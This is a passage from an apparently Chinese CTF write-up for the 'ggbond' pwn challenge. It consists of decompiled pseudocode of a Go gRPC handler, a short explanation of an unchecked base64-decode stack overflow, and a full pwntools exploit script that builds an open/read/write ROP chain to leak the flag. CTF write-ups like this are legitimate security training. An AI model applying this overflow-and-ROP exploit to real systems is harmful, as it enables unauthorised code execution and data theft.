(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
(_DWORD)v30,
v22,
v23,
v24);
v31 = *v30;
*(_QWORD *)(*v30 + 48) = 15LL;
if ( dword_C95060 )
v17 = (ggbond_Response *)runtime_gcWriteBarrierDX(v31 + 40, v30);
else
*(_QWORD *)(v31 + 40) = "Role No Change.ShortDownArrow;ShortLeftArrow;SquareSuperset;The server portTildeFullEqual;UNAUTHENTICATEDUnauthenticatedUpperLeftArrow;X-Forwarded-ForZeroWidthSpace;\"UNIMPLEMENTED\"]\n\tmorebuf={pc:accept-encodingaccept-languageadvertise erroraggregate_valueapplication/pdfasyncpreemptoffavx512vpopcntdqbad certificatebad trailer keycontenteditablecopy_file_rangecurvearrowleft;double scavengedoublebarwedge;downdownarrows;duplicated nameelem size wrongextension_rangeforce gc (idle)hookrightarrow;html/template: invalid addressinvalid argSizeinvalid booleaninvalid kind %vinvalid paddinginvalid pointerjstmpllitinterpkey has expiredleftleftarrows;leftrightarrow;leftthreetimes;longrightarrow;looparrowright;malloc deadlockmisaligned maskmissing addressmissing mcache?ms: gomaxprocs=negative offsetnetwork is downno dot in fieldno medium foundno such processnon-minimal tagnot a directorynshortparallel;ntriangleright;preempt SPWRITEproto3_optionalrecord overflowrecovery failedreflectlite.Setrightarrowtail;rightharpoonup;runtime error: runtime: frame runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding psync.Mutex.Locktemplate clausetraceback stucktrianglelefteq;unclosed actionunexpected typeunknown Go typeunknown networkunverified_lazyupharpoonright;weak_dependency already; errno= mheap.sweepgen= not in ranges:\n untyped locals %s %s HTTP/1.1\r\n%s overflows int, not a function.WithValue(type /etc/resolv.conf0123456789ABCDEF0123456789abcdef2384185791015625: value of type <stream: %p, %v>Already ReportedAttributes: %v, CloseCurlyQuote;Content-EncodingContent-LanguageContent-Length: ContourIntegral;DeadlineExceededDoubleDownArrow;DoubleLeftArrow;DownRightVector;FRAME_SIZE_ERRORGC scavenge waitGC worker (idle)GODEBUG: value \"GOTRACEBACK=noneINVALID_ARGUMENTImperial_AramaicInstRuneAnyNotNLLeftRightVector;LeftTriangleBar;LeftUpTeeVector;LeftUpVectorBar;LowerRightArrow;Meroitic_CursiveMultiple ChoicesNotGreaterEqual;NotGreaterTilde;NotHumpDownHump;NotLeftTriangle;NotSquareSubset;Other_AlphabeticOverParenthesis;Payment RequiredPermissionDeniedProxy-ConnectionRCodeFormatErrorRETENTION_SOURCERightDownVector;SETTINGS_TIMEOUTSIGNONE: no trapServerName: %q, ShortRightArrow;TARGET_TYPE_ENUMTARGET_TYPE_FILEUpgrade RequiredUpperRightArrow;User-Agent: %s\r\nWww-AuthenticateZanabazar_Square\"ALREADY_EXISTS\"\nruntime stack:\n";
}
else
{
qword_C94B80 = v71;
v26 = (RTYPE **)v17->Response.tab;
v27 = (__int64 *)v17->Response.data;
if ( v26 != v25 )
runtime_panicdottypeI(
v17->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_RoleChange,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
v3,
v22,
v23,
(_DWORD)v26);
if ( qword_C525A8 <= (unsigned __int64)v71 )
runtime_panicIndex(v71, &RTYPE__ptr_ggbond_Response_RoleChange, qword_C525A8, p_data, v3, v22, v23, off_C525A0);
v76 = v17;
v86 = v27;
v28 = runtime_concatstring3(
0,
(unsigned int)&aPrototyperpcVR[2958],
10,
(unsigned int)off_C525A0[2 * v71],
(unsigned int)off_C525A0[2 * v71 + 1],
(unsigned int)".",
1,
(_DWORD)off_C525A0,
(_DWORD)v27);
v29 = *v86;
*(_QWORD *)(*v86 + 48) = &aPrototyperpcVR[2958];
if ( dword_C95060 )
runtime_gcWriteBarrier(v29 + 40);
else
*(_QWORD *)(v29 + 40) = v28;
v17 = v76;
}
v18 = 0LL;
v19 = 0LL;
goto LABEL_90;
}
if ( tab == off_9799C0 )
{
v96 = p_data;
if ( qword_C94B80 == 3 )
{
p_ggbond_RepeaterResponse = (ggbond_RepeaterResponse *)runtime_newobject(&RTYPE_ggbond_RepeaterResponse);
p_ggbond_Response_Repeater = (ggbond_Response_Repeater *)runtime_newobject(&RTYPE_ggbond_Response_Repeater);
v84 = p_ggbond_Response_Repeater;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)p_ggbond_Response_Repeater;
runtime_gcWriteBarrierCX(p_ggbond_Response_Repeater, v3, v33);
}
else
{
p_ggbond_Response_Repeater->Repeater = p_ggbond_RepeaterResponse;
}
v34 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
v38 = off_979A60;
v34->Response.tab = off_979A60;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)&v34->Response.data;
v34 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v34->Response.data, v3);
}
else
{
v34->Response.data = v84;
}
v39 = (__int64 *)v34->Response.data;
if ( v34->Response.tab != v38 )
runtime_panicdottypeI(
v34->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_Repeater,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
v3,
(_DWORD)v39,
v35,
v36);
if ( (unsigned __int64)qword_C525A8 <= 3 )
runtime_panicIndex(3LL, &RTYPE__ptr_ggbond_Response_Repeater, qword_C525A8, p_data, v3, v39, v35, v36);
v74 = v34;
v86 = v39;
v40 = off_C525A0[6];
v41 = runtime_concatstring2(
0,
(_DWORD)v40,
(unsigned int)off_C525A0[7],
(unsigned int)&aContinueWantR1[401],
13,
(_DWORD)v39,
v35,
v36,
v37);
v45 = *v86;
*(_QWORD *)(*v86 + 48) = v40;
if ( dword_C95060 )
{
v45 += 40LL;
runtime_gcWriteBarrier(v45);
}
else
{
*(_QWORD *)(v45 + 40) = v41;
}
v46 = (RTYPE **)v96->Request.tab;
if ( v46 != off_9799C0 )
runtime_panicdottypeI(
(_DWORD)v46,
(unsigned int)&RTYPE__ptr_ggbond_Request_Repeater,
(unsigned int)&RTYPE_ggbond_isRequest_Request,
v45,
(unsigned int)off_9799C0,
v42,
v43,
v44);
v97 = *(string *)(*(_QWORD *)v96->Request.data + 40LL);
len = v97.len;
v99 = encoding_base64__ptr_Encoding_DecodeString(qword_C62CA0, v97);
ptr = v99.0.ptr;
v89 = v99.0.len;
cap = v99.0.cap;
v73[0] = v5;
v73[1] = v5;
v91 = v73;
v92 = 32LL;
v93 = 32LL;
v47 = v73;
v48 = v99.0.ptr;
for ( i = 0LL; i < (__int64)(3 * (len >> 2)); ++i )
{
*(_BYTE *)v47 = *v48;
v47 = (__int128 *)((char *)v47 + 1);
++v48;
}
v17 = v74;
v18 = 0LL;
v19 = 0LL;
}
else
{
v81 = (ggbond_RepeaterResponse *)runtime_newobject(&RTYPE_ggbond_RepeaterResponse);
v50 = (ggbond_Response_Repeater *)runtime_newobject(&RTYPE_ggbond_Response_Repeater);
v84 = v50;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)v50;
runtime_gcWriteBarrierCX(v50, v3, v51);
}
else
{
v50->Repeater = v81;
}
v52 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
v55 = off_979A60;
v52->Response.tab = off_979A60;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)&v52->Response.data;
v52 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v52->Response.data, v3);
}
else
{
v52->Response.data = v84;
}
v56 = (__int64 *)v52->Response.data;
if ( v52->Response.tab != v55 )
runtime_panicdottypeI(
v52->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_Repeater,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
v3,
v53,
v54,
(_DWORD)v56);
if ( qword_C525A8 <= (unsigned __int64)qword_C94B80 )
runtime_panicIndex(qword_C94B80, &RTYPE__ptr_ggbond_Response_Repeater, qword_C525A8, p_data, v3, v53, v54, v56);
v57 = off_C525A0[2 * qword_C94B80];
v58 = off_C525A0[2 * qword_C94B80 + 1];
v59 = (RTYPE **)v96->Request.tab;
v60 = v96->Request.data;
if ( v59 != off_9799C0 )
runtime_panicdottypeI(
v96->Request.tab,
(unsigned int)&RTYPE__ptr_ggbond_Request_Repeater,
(unsigned int)&RTYPE_ggbond_isRequest_Request,
(_DWORD)p_data,
v3,
v53,
v54,
(_DWORD)v56);
v75 = v52;
v86 = v56;
v61 = runtime_concatstring3(
0,
(_DWORD)v57,
(_DWORD)v58,
(unsigned int)": :/:=:]; <-<<<==#==> >=>>??A3A4CNCcCfCoCsGOGTLTLlLmLoLtLuMXMcMeMnNSNdNlNoOKOUPcPdPePfPiPoPsSTScSkSmSoTZTeToV1V2V3V5V6YiZlZpZs[]\")\":\">\"\n\\$\\'\\(\\)\\*\\-\\.\\/\\0\\9\\?\\D\\E\\S\\W\\[\\\"\\\\\\]\\^\\a\\c\\d\\f\\n\\r\\s\\t\\w\\{\\|\\}\n \n\t\r\n\t 聽] ])]:][]\n^=`\\aAbBdoeEeqfFgegogti)iIidifinipjslLleltmsn=nNnensoOorpPpbrRs sStetotvuUusxX{{{}|=||}\n}}蛷 G M P *( - < > m= n=%+v%25%2c%: &^='\"'): * /....js///00001_0\r\n125200204206304400404443500625: `:%d://::1<<=>>=?*[???ACKAMPAprAugDD;DSADecEOFETHEndFebFriGETGT;GetGg;Gt;HanINTIm;JanJulJunLT;LaoLl;Lt;MD4MD5MarMayMonMroMu;NaNNkoNovNu;OPTOctOr;PC=PTRPi;Pr;REGRSARe;SETSOASRVSatSc;SepSunTTLTXTThuTueURIUTCVaiViaWedXi;\"}}\\22\\26\\27\\28\\29\\2b\\2f\\3a\\3b\\3c\\3e\\7b\\7d\n",
2,
*(_QWORD *)(*(_QWORD *)v60 + 40LL),
*(_QWORD *)(*(_QWORD *)v60 + 48LL),
(_DWORD)v56,
(_DWORD)v59);
v62 = *v86;
*(_QWORD *)(*v86 + 48) = v57;
if ( dword_C95060 )
runtime_gcWriteBarrier(v62 + 40);
else
*(_QWORD *)(v62 + 40) = v61;
v17 = v75;
v18 = 0LL;
v19 = 0LL;
}
}
else
{
LABEL_63:
p_ggbond_ErrorResponse = (ggbond_ErrorResponse *)runtime_newobject(&RTYPE_ggbond_ErrorResponse);
p_ggbond_Response_Error = (ggbond_Response_Error *)runtime_newobject(&RTYPE_ggbond_Response_Error);
v83 = p_ggbond_Response_Error;
if ( dword_C95060 )
{
LODWORD(p_data) = (_DWORD)p_ggbond_Response_Error;
runtime_gcWriteBarrierCX(p_ggbond_Response_Error, v3, v64);
}
else
{
p_ggbond_Response_Error->Error = p_ggbond_ErrorResponse;
}
v17 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
v68 = off_979A40;
v17->Response.tab = off_979A40;
if ( dword_C95060 )
{
LODWORD(p_data) = (_DWORD)v17 + 48;
v17 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v17->Response.data, v3);
}
else
{
v17->Response.data = v83;
}
v69 = (__int64 *)v17->Response.data;
if ( v17->Response.tab != v68 )
runtime_panicdottypeI(
v17->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_Error,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
(_DWORD)v69,
v65,
v66,
v67);
v70 = *v69;
*(_QWORD *)(*v69 + 48) = 13LL;
if ( dword_C95060 )
v17 = (ggbond_Response *)runtime_gcWriteBarrierDX(v70 + 40, v69);
else
*(_QWORD *)(v70 + 40) = &aContinueWantR1[544];
v18 = 0LL;
v19 = 0LL;
}
LABEL_90:
result.1.tab = v18;
result.1.data = v19;
result.0 = v17;
return result;
}

可以发现有三个 if ( tab == xxx )的逻辑,同事在runtime_newobject创建对象的时候,正好对应 三个request的逻辑,发whoami的请求时也是走到这段逻辑中去处理,所以这个main__ptr_server_Handler函数就是处理三个request 的关键函数了

存在漏洞的位置是 处理repeater 的时候如果role == 3,就会把数据base64deocode后发送到栈上,没有对长度做一个判断存在一个栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
if ( tab == off_9799C0 )
{
v96 = p_data;
if ( qword_C94B80 == 3 )
{
p_ggbond_RepeaterResponse = (ggbond_RepeaterResponse *)runtime_newobject(&RTYPE_ggbond_RepeaterResponse);
p_ggbond_Response_Repeater = (ggbond_Response_Repeater *)runtime_newobject(&RTYPE_ggbond_Response_Repeater);
v84 = p_ggbond_Response_Repeater;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)p_ggbond_Response_Repeater;
runtime_gcWriteBarrierCX(p_ggbond_Response_Repeater, v3, v33);
}
else
{
p_ggbond_Response_Repeater->Repeater = p_ggbond_RepeaterResponse;
}
v34 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
v38 = off_979A60;
v34->Response.tab = off_979A60;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)&v34->Response.data;
v34 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v34->Response.data, v3);
}
else
{
v34->Response.data = v84;
}
v39 = (__int64 *)v34->Response.data;
if ( v34->Response.tab != v38 )
runtime_panicdottypeI(
v34->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_Repeater,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
v3,
(_DWORD)v39,
v35,
v36);
if ( (unsigned __int64)qword_C525A8 <= 3 )
runtime_panicIndex(3LL, &RTYPE__ptr_ggbond_Response_Repeater, qword_C525A8, p_data, v3, v39, v35, v36);
v74 = v34;
v86 = v39;
v40 = off_C525A0[6];
v41 = runtime_concatstring2(
0,
(_DWORD)v40,
(unsigned int)off_C525A0[7],
(unsigned int)&aContinueWantR1[401],
13,
(_DWORD)v39,
v35,
v36,
v37);
v45 = *v86;
*(_QWORD *)(*v86 + 48) = v40;
if ( dword_C95060 )
{
v45 += 40LL;
runtime_gcWriteBarrier(v45);
}
else
{
*(_QWORD *)(v45 + 40) = v41;
}
v46 = (RTYPE **)v96->Request.tab;
if ( v46 != off_9799C0 )
runtime_panicdottypeI(
(_DWORD)v46,
(unsigned int)&RTYPE__ptr_ggbond_Request_Repeater,
(unsigned int)&RTYPE_ggbond_isRequest_Request,
v45,
(unsigned int)off_9799C0,
v42,
v43,
v44);
v97 = *(string *)(*(_QWORD *)v96->Request.data + 40LL);
len = v97.len;
v99 = encoding_base64__ptr_Encoding_DecodeString(qword_C62CA0, v97);
ptr = v99.0.ptr;
v89 = v99.0.len;
cap = v99.0.cap;
v73[0] = v5;
v73[1] = v5;
v91 = v73;
v92 = 32LL;
v93 = 32LL;
v47 = v73;
v48 = v99.0.ptr;
for ( i = 0LL; i < (__int64)(3 * (len >> 2)); ++i )
{
*(_BYTE *)v47 = *v48;
v47 = (__int128 *)((char *)v47 + 1);
++v48;
}
v17 = v74;
v18 = 0LL;
v19 = 0LL;
}

在这里存在溢出

1
2
3
4
5
6
7
8
9
10
  for ( i = 0LL; i < (__int64)(3 * (len >> 2)); ++i )
{
*(_BYTE *)v47 = *v48;
v47 = (__int128 *)((char *)v47 + 1);
++v48;
}
v17 = v74;
v18 = 0LL;
v19 = 0LL;
}

利用的思路是,orw把flag 从socket的 fd那读出来

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import grpc

import ggbond_pb2
import ggbond_pb2_grpc

from pwn import *

def whoami(chan):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
return respond

def role_change(chan,role):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
return respond

def repeater(chan,message):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=message)))
return respond

file_path = './pwn'
p1 = process(file_path)

p = remote("127.0.0.1", 23334)

channel=grpc.insecure_channel('localhost:23334')

print(role_change(channel,3))

rdi_addr = 0x401537
rsi_addr = 0x422398
rdx_addr = 0x461bd1
rax_addr = 0x4101e6
syscall_addr = 0x40452C
flag_addr = 0x7FAEEC
bss_addr = 0xC90000

payload = b'a'*0xc8
payload+=p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0)+p64(rdx_addr)+p64(0)
payload+=p64(rax_addr)+p64(2)+p64(syscall_addr) # open

payload+=p64(rdi_addr)+p64(9)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)
payload+=p64(rax_addr)+p64(0)+p64(syscall_addr)

payload+=p64(rdi_addr)+p64(7)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)
payload+=p64(rax_addr)+p64(1)+p64(syscall_addr)


try:
repeater(channel,base64.b64encode(payload))
except:
print(p.recv(0x1000))
CATALOG
  1. 1. ggbond